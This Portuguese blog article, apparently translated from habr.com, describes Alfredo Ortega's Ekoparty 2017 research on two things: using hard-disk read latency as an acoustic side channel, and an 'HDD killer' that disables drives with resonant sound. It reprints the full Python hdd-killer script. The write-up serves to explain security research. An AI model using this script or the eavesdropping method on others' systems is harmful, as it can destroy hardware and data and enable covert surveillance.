Por que você não deveria gritar com seu HDD

Por que você não deveria gritar com seu HDD

Na conferência de segurança informática Ekoparty 2017 em Buenos Aires, o hacker argentino Alfredo Ortega mostrou um desenvolvimento muito interessante - um sistema para escuta telefônica secreta de instalações sem o uso de microfone. Som gravado diretamente no disco rígido!

O HDD capta principalmente sons, passos e outras vibrações de alta intensidade e baixa frequência. A fala humana ainda não pode ser reconhecida, embora os cientistas estão conduzindo pesquisas nessa direção (reconhecimento de voz por vibrações de baixa frequência, que são gravadas, por exemplo, a partir de um giroscópio ou HDD).

O som é a vibração do ar ou de outro meio. A pessoa os percebe através do tímpano, que transmite vibrações ao ouvido interno. O microfone foi projetado aproximadamente como um ouvido - aqui também as vibrações são registradas por uma membrana fina, que excita um impulso elétrico. O disco rígido, é claro, também está sujeito a vibrações microscópicas devido às flutuações do ar circundante. Isso é conhecido até pelas características técnicas dos HDDs: os fabricantes geralmente indicam o nível máximo de vibração permitido, e o próprio disco rígido muitas vezes tenta colocá-lo em um recipiente à prova de vibração feito de borracha ou outro material isolante. Disto é fácil concluir que os sons podem ser gravados usando o HDD. Resta apenas descobrir como.

Alfredo Ortega propôs uma versão única de ataque de canal lateral, nomeadamente um ataque temporal. Este ataque baseia-se na suposição de que diferentes operações são executadas no dispositivo em momentos diferentes, dependendo dos dados de entrada fornecidos. Neste caso, os “dados de entrada” são as vibrações da cabeça de leitura e do prato do HDD, que se correlacionam com as vibrações do ambiente, ou seja, com o som. Assim, medindo o tempo de cálculo e realizando uma análise estatística dos dados, as vibrações da cabeça/prato e, portanto, as vibrações do meio podem ser medidas. Quanto maior o atraso na leitura dos dados, mais fortes serão as vibrações do HDD e, portanto, mais alto será o som.

Como medir a vibração do disco rígido? Muito simples: basta executar a chamada do sistema read () - e registre o tempo que leva para ser concluído. Os sistemas operacionais modernos permitem ler o tempo das chamadas do sistema com precisão de nanossegundos.

A velocidade de leitura das informações de um setor depende da posição da cabeça e do prato, que se correlaciona com as vibrações do gabinete do HDD. Isso é tudo.

A análise estatística é realizada usando um utilitário Kscope simples. Como se costuma dizer, tudo que é engenhoso é simples.

Por que você não deveria gritar com seu HDD
Utilitário Kscope (stat() syscall)

Kscope é um pequeno utilitário para visualizar pequenas diferenças nos tempos de execução de chamadas do sistema. Fontepublicado no GitHub.

Em um repositório separado Hora do HDD existe uma versão do utilitário configurada para ataque de tempo no disco rígido, ou seja, configurada para analisar a chamada do sistema read ().

Demonstração de gravação de som usando HDD, operação do utilitário Kscope


É claro que a fala não pode ser entendida dessa forma, mas o HDD é bastante adequado como sensor de vibração. Por exemplo, você pode registrar se uma pessoa com sapatos duros ou descalça entrou em uma sala com um computador (provavelmente, se o invasor estiver usando tênis macios ou se houver um carpete grosso no chão, o HDD não será capaz de registrar vibrações - vale a pena conferir). O computador é capaz de registrar vidros quebrados ou outros incidentes com forte intensidade sonora. Ou seja, o disco rígido pode servir como uma espécie de sistema de detecção de intrusões não autorizadas.

Assassino de HDD

A propósito, uma técnica semelhante pode ser usada para desabilitar discos rígidos. Só aqui não removemos as oscilações do HDD, mas pelo contrário, geramos oscilações que alimentam o HDD. Se você reproduzir som de um alto-falante em uma frequência que ressoe com a frequência do HDD, o sistema logo desligará o dispositivo com um erro de E/S (o kernel do Linux desliga completamente o HDD após 120 segundos). O próprio disco rígido pode sofrer danos irreversíveis.

Por que você não deveria gritar com seu HDD
O kernel Linux desligou o disco rígido após 120 segundos de emissão de som em uma frequência ressonante através do alto-falante USB Edifier r19u. O alto-falante está ligado com cerca de um quarto da potência (menos de 100 mW) e está localizado a 20 cm do HDD, voltado para a mesa para aumentar as vibrações. Quadro de Filme com uma demonstração do assassino de HDD

É curioso que tais “ataques” aos HDDs às vezes ocorram completamente por acidente na vida cotidiana. Por exemplo, em Setembro de 2016, o centro de dados do ING Bank foi forçado a suspender as operações durante 10 horas após um exercício de simulação de incêndio. Dezenas de discos rígidos falharam devido ao som alto do gás inerte sendo liberado dos cilindros sob alta pressão. O som estava muito alto (mais de 130 dB), mas nem dá para gritar com os discos rígidos - isso aumenta o atraso no acesso ao HDD.

Demonstração de gritos humanos em discos rígidos em um data center. Medição de latência


Para gerar o som ressonante, Alfredo Ortega escreveu um script Python chamado assassino de HDD (demonstração em vídeo).

Script matador de HDD É bem pequeno, então você pode publicá-lo na íntegra aqui.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Fonte: habr.com

Adicionar um comentário